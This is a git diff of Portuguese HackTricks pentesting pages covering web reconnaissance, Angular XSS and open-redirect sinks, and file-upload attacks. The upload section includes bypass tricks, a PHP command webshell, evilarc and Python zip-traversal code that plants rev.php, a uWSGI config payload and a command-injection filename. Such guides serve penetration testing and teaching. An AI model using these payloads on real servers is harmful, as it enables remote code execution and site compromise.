- Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
@ -289,10 +289,10 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou
- Procure por **links** para outros arquivos dentro dos **arquivos CSS**.
- [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md).
- Se você encontrar um _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
- Se você encontrar **endpoints de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
- Se você encontrar um _**.env**_ informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
- Se você encontrar **endpoints de API** você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
- **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma mudança pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
- Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se são vulneráveis.
- Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se é vulnerável.
- **Deobfuscador e Desempacotador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
@ -313,7 +313,7 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
**Autenticação NTLM - Divulgação de informações**
Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
**Redirecionamento HTTP (CTF)**
@ -336,9 +336,9 @@ Encontre mais informações sobre vulnerabilidades web em:
### Monitorar Páginas para mudanças
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas por modificações que possam inserir vulnerabilidades.
### Comandos Automáticos HackTricks
### HackTricks Comandos Automáticos
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -8,13 +8,13 @@ Checklist [a partir daqui](https://lsgeurope.com/post/angular-security-checklist
* [ ] Sourcemap para scripts está desativado na configuração do projeto
* [ ] A entrada de usuário não confiável é sempre interpolada ou sanitizada antes de ser usada em templates
* [ ] O usuário não tem controle sobre templates do lado do servidor ou do lado do cliente
* [ ] A entrada de usuário não confiável é sanitizada usando um contexto de segurança apropriado antes de ser confiável pela aplicação
* [ ] A entrada de usuário não confiável é sanitizada usando um contexto de segurança apropriado antes de ser confiada pela aplicação
* [ ] Métodos `BypassSecurity*` não são usados com entrada não confiável
* [ ] A entrada de usuário não confiável não é passada para classes Angular como `ElementRef`, `Renderer2` e `Document`, ou outros sinks JQuery/DOM
## O que é Angular
Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os lados**.
Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os ângulos**.
## Arquitetura do framework
@ -41,7 +41,7 @@ my-workspace/
```
De acordo com a documentação, toda aplicação Angular possui pelo menos um componente, o componente raiz (`AppComponent`) que conecta uma hierarquia de componentes com o DOM. Cada componente define uma classe que contém dados e lógica da aplicação, e está associada a um template HTML que define uma visualização a ser exibida em um ambiente alvo. O decorador `@Component()` identifica a classe imediatamente abaixo dele como um componente e fornece o template e os metadados específicos do componente relacionados. O `AppComponent` é definido no arquivo `app.component.ts`.
Os NgModules do Angular declaram um contexto de compilação para um conjunto de componentes que é dedicado a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular possui um módulo raiz, convencionalmente chamado de `AppModule`, que fornece o mecanismo de bootstrap que inicia a aplicação. Uma aplicação normalmente contém muitos módulos funcionais. O `AppModule` é definido no arquivo `app.module.ts`.
Os NgModules do Angular declaram um contexto de compilação para um conjunto de componentes que é dedicado a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular possui um módulo raiz, convencionalmente nomeado `AppModule`, que fornece o mecanismo de bootstrap que inicia a aplicação. Uma aplicação tipicamente contém muitos módulos funcionais. O `AppModule` é definido no arquivo `app.module.ts`.
O NgModule `Router` do Angular fornece um serviço que permite definir um caminho de navegação entre os diferentes estados da aplicação e hierarquias de visualização em sua aplicação. O `RouterModule` é definido no arquivo `app-routing.module.ts`.
@ -49,7 +49,7 @@ Para dados ou lógica que não estão associados a uma visualização específic
## Configuração do sourcemap
O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções de `tsconfig.json` e, em seguida, constrói um projeto com a configuração de `angular.json`. Ao olhar o arquivo `angular.json`, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão tem um arquivo sourcemap habilitado para scripts e não está oculto por padrão:
O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções de `tsconfig.json` e, em seguida, constrói um projeto com a configuração de `angular.json`. Ao olhar para o arquivo `angular.json`, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão tem um arquivo sourcemap habilitado para scripts e não está oculto por padrão:
```json
"sourceMap": {
"scripts": true,
@ -72,7 +72,7 @@ Podemos classificar o binding pelo fluxo de dados:
* Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template;
* Bidirecional; pode ser aplicado usando `[()]` no template.
O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva fonte:
O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem:
| TIPO | ALVO | EXEMPLOS |
| --------- | ------------------------------------------------------ | -------------------------------------------------------------------- |
@ -121,7 +121,7 @@ Existem 6 tipos de `SecurityContext`:
## Vulnerabilidades
### Métodos de Bypass Security Trust
### Bypass Security Trust methods
O Angular introduz uma lista de métodos para contornar seu processo de sanitização padrão e indicar que um valor pode ser usado com segurança em um contexto específico, como nos seguintes cinco exemplos:
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//resultado
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que a inserção de elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.
3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que inserir elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.
```jsx
//app.component.ts
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>tag html</h1><svg
<h1>tag html</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` é usado para indicar que o valor fornecido é JavaScript seguro. No entanto, encontramos seu comportamento imprevisível, pois não conseguimos executar código JS em templates usando este método.
4. `bypassSecurityTrustScript` é usado para indicar que o valor fornecido é JavaScript seguro. No entanto, encontramos seu comportamento imprevisível, porque não conseguimos executar código JS em templates usando esse método.
```jsx
//app.component.ts
@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//resultado
-
```
5. `bypassSecurityTrustStyle` é usado para indicar que o valor fornecido é CSS seguro. O exemplo a seguir ilustra a injeção de CSS:
5. `bypassSecurityTrustStyle` é usado para indicar que o valor fornecido é CSS seguro. O seguinte exemplo ilustra a injeção de CSS:
```jsx
//app.component.ts
@ -191,7 +191,7 @@ O Angular fornece um método `sanitize` para sanitizar dados antes de exibi-los
### Injeção de HTML
Essa vulnerabilidade ocorre quando a entrada do usuário é vinculada a qualquer uma das três propriedades: `innerHTML`, `outerHTML` ou `iframe` `srcdoc`. Enquanto o binding para esses atributos interpreta o HTML como está, a entrada é sanitizada usando `SecurityContext.HTML`. Assim, a injeção de HTML é possível, mas o cross-site scripting (XSS) não é.
Essa vulnerabilidade ocorre quando a entrada do usuário é vinculada a qualquer uma das três propriedades: `innerHTML`, `outerHTML` ou `iframe` `srcdoc`. Enquanto o binding para esses atributos interpreta o HTML como ele é, a entrada é sanitizada usando `SecurityContext.HTML`. Assim, a injeção de HTML é possível, mas o cross-site scripting (XSS) não é.
Exemplo de uso de `innerHTML`:
```jsx
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
O resultado é `<div><h1>teste</h1></div>`.
<div><h1>teste</h1></div>
### Injeção de template
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Como mencionado antes, a maioria das APIs jQuery que aceitam strings HTML executará scripts que estão incluídos no HTML. O método `jQuery.parseHTML()` não executa scripts no HTML analisado, a menos que `keepScripts` seja explicitamente `true`. No entanto, ainda é possível na maioria dos ambientes executar scripts indiretamente; por exemplo, via o atributo `<img onerror>`.
Como mencionado anteriormente, a maioria das APIs jQuery que aceitam strings HTML executará scripts que estão incluídos no HTML. O método `jQuery.parseHTML()` não executa scripts no HTML analisado, a menos que `keepScripts` seja explicitamente `true`. No entanto, ainda é possível na maioria dos ambientes executar scripts indiretamente; por exemplo, via o atributo `<img onerror>`.
```tsx
//app.component.ts
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
O processo de exploração é idêntico para os seguintes cenários.
* `window.location.assign()`(e `document.location.assign()`)
Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de entrada para um ataque de redirecionamento aberto.
Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de ataque para um redirecionamento aberto.
```tsx
//app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Classes Angular
* De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de entrada para ataques de redirecionamento aberto, como mostrado no exemplo:
* De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de ataque para ataques de redirecionamento aberto, como mostrado no exemplo:
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que as aplicações podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()` e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:
* Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()` e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:
```tsx
//app.component.ts
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
```
Resultado: `http://localhost:4200/http://google.com/about`
* A classe `Router` do Angular é usada principalmente para navegação dentro do mesmo domínio e não introduz vulnerabilidades adicionais à aplicação:
* A classe `Router` do Angular é usada principalmente para navegação dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo:
```jsx
//app-routing.module.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
Verifique esta página se você quiser aprender mais sobre enumeração e abuso de Buckets:
Verifique esta página se você quiser aprender mais sobre como enumerar e abusar de Buckets:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## O que é Firebase
Firebase é um Backend-as-a-Service principalmente para aplicativos móveis. Ele se concentra em remover a carga de programar o back-end, fornecendo um SDK agradável, bem como muitas outras coisas interessantes que facilitam a interação entre o aplicativo e o back-end.
Firebase é um Backend-as-a-Services principalmente para aplicativos móveis. Ele se concentra em remover a carga de programar o back-end, fornecendo um SDK agradável, bem como muitas outras coisas interessantes que facilitam a interação entre o aplicativo e o back-end.
Saiba mais sobre Firebase em:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@ Outras extensões úteis:
### Bypass file extensions checks
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
- _file.png.php_
- _file.png.Php5_
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
@ -51,7 +51,7 @@ Outras extensões úteis:
```
# Linux máximo 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -81,16 +81,16 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Possível divulgação de informações**:
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Fazendo upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
### Special extension tricks
Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na técnica **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na técnica **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada na técnica do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada na técnica do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
@ -98,7 +98,7 @@ A extensão `.inc` é às vezes usada para arquivos php que são apenas usados p
## **Jetty RCE**
Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
Se você puder fazer upload de um arquivo XML em um servidor Jetty, pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -128,7 +128,7 @@ characters = @(call://uwsgi_func)
```
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo da exploração potencial.
É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
## **wget File Upload/SSRF Trick**
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, assim a URL inicial contornará a verificação e então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
## Ferramentas
@ -169,7 +169,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
- Defina **filename** como `<svg onload=alert(document.domain)>` para conseguir um XSS
- Defina **filename** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
- [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** arquivo **upload** + **XSS** = [**exploitação de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- **JS** arquivo **upload** + **XSS** = [**exploração de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Redirecionamento Aberto** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
@ -180,7 +180,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivírus**
- Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
Aqui está uma lista das 10 principais coisas que você pode conseguir fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS armazenado / SSRF / XXE
@ -199,7 +199,7 @@ Aqui está uma lista das 10 principais coisas que você pode conseguir fazendo u
https://github.com/portswigger/upload-scanner
{{#endref}}
## Bytes Mágicos de Cabeçalho
## Bytes de Cabeçalho Mágicos
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
@ -229,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Além disso, o **truque de symlink com evilarc** é uma opção. Se o objetivo é direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado em seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
Além disso, o **truque do symlink com evilarc** é uma opção. Se o objetivo é direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado em seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
```python
@ -253,7 +253,7 @@ create_zip()
Para mais detalhes **verifique o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados pela variável `$_REQUEST`.
1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
```php
<?php
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modificação com um Editor Hexadecimal ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para percorrer diretórios.
3. **Modificação com um Editor Hex ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hex, mudando "xxA" para "../" para percorrer diretórios.
```bash
:set modifiable
@ -299,7 +299,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições.
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
